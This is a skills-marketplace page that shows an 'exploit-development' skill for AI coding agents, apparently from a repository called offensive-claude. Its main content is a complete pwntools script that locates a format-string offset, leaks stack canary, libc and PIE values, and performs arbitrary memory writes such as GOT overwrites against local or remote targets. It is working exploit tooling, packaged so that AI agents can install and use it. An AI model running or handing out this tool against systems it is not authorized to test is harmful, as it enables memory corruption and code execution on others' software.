Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

scripts/fmtstr_leak.py

View on GitHub
#!/usr/bin/env python3
"""
fmtstr_leak.py - Format-string offset finder + leak + arbitrary-write driver.

1. Auto-finds the stack offset where YOUR controlled buffer appears (%k$p == 0x4141..).
2. Dumps the first N stack qwords for canary/libc/PIE identification.
3. Optionally performs an arbitrary write {addr: value} via pwntools fmtstr_payload.

Usage:
    python3 fmtstr_leak.py ./fmt --find                       # locate offset
    python3 fmtstr_leak.py ./fmt --dump 30                    # dump 30 stack slots
    python3 fmtstr_leak.py ./fmt --offset 6 --write 0x404018:0x401156   # GOT/ret overwrite
    python3 fmtstr_leak.py --remote host:1337 --send-after '> ' --find

Dependencies: pwntools
"""
import argparse
import sys

try:
    from pwn import context, process, remote, fmtstr_payload, log, ELF
except ImportError:
    sys.exit("[!] pwntools required: pip install pwntools")


def io_open(binary, remote_target, send_after):
    if remote_target:
        host, port = remote_target.split(":")
        io = remote(host, int(port))
    else:
        io = process(binary)
    return io


def send_fmt(binary, remote_target, send_after, payload):
    io = io_open(binary, remote_target, send_after)
    if send_after:
        io.recvuntil(send_after.encode())
    io.sendline(payload)
    out = io.recvline()
    io.close()
    return out


def find_offset(binary, remote_target, send_after, maxk=40):
    marker = b"BBBBBBBB"  # 0x4242424242424242
    for k in range(1, maxk + 1):
        out = send_fmt(binary, remote_target, send_after, marker + f".%{k}$p".encode())
        if b"0x4242424242424242" in out or b"4242424242424242" in out:
            log.success(f"controlled-buffer offset = {k}")
            return k
    log.failure("offset not found within range")
    return None


def dump_stack(binary, remote_target, send_after, n):
    spec = b".".join(f"%{i}$p".encode() for i in range(1, n + 1))
    out = send_fmt(binary, remote_target, send_after, spec)
    log.info("stack dump:")
    for i, tok in enumerate(out.strip().split(b"."), 1):
        log.info(f"  %{i}$p = {tok.decode(errors='replace')}")


def do_write(binary, remote_target, send_after, offset, writes):
    targets = {}
    for w in writes:
        a, v = w.split(":")
        targets[int(a, 0)] = int(v, 0)
    payload = fmtstr_payload(offset, targets, write_size="short")
    log.info(f"payload ({len(payload)} bytes): {payload[:60]!r}...")
    io = io_open(binary, remote_target, send_after)
    if send_after:
        io.recvuntil(send_after.encode())
    io.sendline(payload)
    io.interactive()


def main():
    ap = argparse.ArgumentParser(description="format string leak + write driver")
    ap.add_argument("binary", nargs="?")
    ap.add_argument("--remote")
    ap.add_argument("--send-after")
    ap.add_argument("--find", action="store_true")
    ap.add_argument("--dump", type=int)
    ap.add_argument("--offset", type=int)
    ap.add_argument("--write", action="append", default=[], help="addr:value (hex), repeatable")
    args = ap.parse_args()

    if args.binary:
        context.binary = ELF(args.binary, checksec=False)
    context.arch = "amd64"

    if args.find:
        find_offset(args.binary, args.remote, args.send_after)
    elif args.dump:
        dump_stack(args.binary, args.remote, args.send_after, args.dump)
    elif args.write:
        if args.offset is None:
            ap.error("--write requires --offset")
        do_write(args.binary, args.remote, args.send_after, args.offset, args.write)
    else:
        ap.print_help()


if __name__ == "__main__":
    main()
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 197kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall